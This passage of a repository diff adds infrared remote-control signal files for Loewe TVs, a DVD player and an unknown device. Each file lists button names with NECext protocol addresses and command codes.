+type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: V_=_KNAPP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: I_(INFO) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 22 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOPP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: BILD_KNAPP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: LJUD_KNAPP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: CURSOR_UPP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_NER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: E_(EXIT) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: PIP_KNAPP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: EPG_KNAPP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: M_(MENY) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/45,45.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/45,45.ir new file mode 100644 index 000000000..1127bb2ec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/DVD Player/45,45.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 30 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 31 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 32 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 33 00 00 00 +# +name: PROGRAM_+ +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 34 00 00 00 +# +name: PROGRAM_- +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 35 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 36 00 00 00 +# +name: PAUSE_REC +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 38 00 00 00 +# +name: STOPP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 39 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3D 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 3F 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 40 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 41 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 42 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 43 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 44 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 45 00 00 00 +# +name: CURSOR_UPP +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 47 00 00 00 +# +name: CURSOR_NER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 48 00 00 00 +# +name: TITLE_/_CHAPTER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4A 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4B 00 00 00 +# +name: CAMERA +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 4C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 53 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 55 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 56 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 58 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 59 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 5A 00 00 00 +# +name: SET_MARKER +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 61 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 64 00 00 00 +# +name: KNAPP/CARD +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: 69 00 00 00 +# +name: NGAR +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: B0 00 00 00 +# +name: REC_MENU +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: B7 00 00 00 +# +name: GUL_KNAPP/TITLE +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: BA 00 00 00 +# +name: D_KNAPP/C-SET +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: BB 00 00 00 +# +name: N_KNAPP/SHOWVIEW +type: parsed +protocol: NECext +address: 2D 2D 00 00 +command: BC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir new file mode 100644 index 000000000..b42ec6eb7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/0,-1.ir @@ -0,0 +1,968 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: INPUT_TOGGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: INOUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: PIP_AUDIO_MONITOR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: MENU_KEY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: M_(MENY) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: TV_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: POWER:_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CURSOR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: INPUT:_COMPONENT_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: VID_1C_/_ANT_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VGA +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: TV_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: PROGRAM_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: PROGRAM_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: TV_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: WINDOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: N_KNAPP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: D_KNAPP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: INPUT_VCR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: INPUT_DVD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: INPUT:_FRONT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: FRONT_/_VID_1C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UPP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_NER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: INPUT:_VIDEO_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: POWER:_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: BILDMENY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: INPUT:_ANT_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: INPUT_SAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: STB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: INPUT:_ANTENNA_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: ANT_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: INPUT_STB +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: I_(INFO) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: KNAPP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: GUL_KNAPP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: INFO_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: ASSIST+MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: EDIT_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: V_= +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: ASSIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: INPUT:_2_(2) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: INPUT:_VIDEO_2_2ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: INPUT:_S-VIDEO_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: VID_1S +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: RADIO_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: LJUDMENY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: SAT_RADIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: INPUT:_RGB_1080I +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: INPUT:_RGB_480P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: INPUT:_DVD_480P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: TELETEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: T_(TEXT) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: END_KEY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: E_(EXIT) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: SOUND_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: TV_MODE_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: RADIO_MODE_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: AV_INPUT_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: INPUT_AV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: EPG2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: *_EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: INFO_KEY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: PIP_# +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: #_PIP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: ASPECT_RATIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: TIMER_DIALOG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: REC_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: DR+_ARCHIVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: INPUT:_VGA +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: INPUT:_VIDEO_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6F 00 00 00 +# +name: INPUT:_DVI +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 70 00 00 00 +# +name: INPUT:_COMPONENT_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 71 00 00 00 +# +name: AV1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 72 00 00 00 +# +name: AV2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 73 00 00 00 +# +name: AV3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 74 00 00 00 +# +name: AVS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 75 00 00 00 +# +name: VGA +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 76 00 00 00 +# +name: HDMI_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 77 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 78 00 00 00 +# +name: HDMI_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 79 00 00 00 +# +name: HDMI_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir new file mode 100644 index 000000000..0cc99fe5f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/27,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: LOCAL_KEYS_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0F 00 00 00 +# +name: LOCAL_KEYS_RADIO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: LOCAL_KEYS_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir new file mode 100644 index 000000000..ba7b0ff57 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/31,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir new file mode 100644 index 000000000..e5642ad62 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/33,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SOUND_MODE +type: parsed +protocol: NECext +address: 21 00 00 00 +command: 72 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir new file mode 100644 index 000000000..b7e8eefb9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/5,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: AV1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 72 00 00 00 +# +name: AV2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 73 00 00 00 +# +name: AV3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 74 00 00 00 +# +name: AVS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 75 00 00 00 +# +name: VGA +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 76 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 77 00 00 00 +# +name: COMP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir new file mode 100644 index 000000000..8dba5f25e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/TV/6,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: HDR:_PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 29 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 29 00 00 00 +# +name: PAUSE_REC +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 29 00 00 00 +# +name: HDR:_REWIND +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 32 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 32 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 32 00 00 00 +# +name: HDR:_FAST_FORW +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 34 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 34 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 34 00 00 00 +# +name: HDR:_PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 35 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 35 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 35 00 00 00 +# +name: HDR_STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 36 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 36 00 00 00 +# +name: STOPP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 36 00 00 00 +# +name: HDR_RECORD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 37 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir new file mode 100644 index 000000000..e15753f94 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 6E 00 00 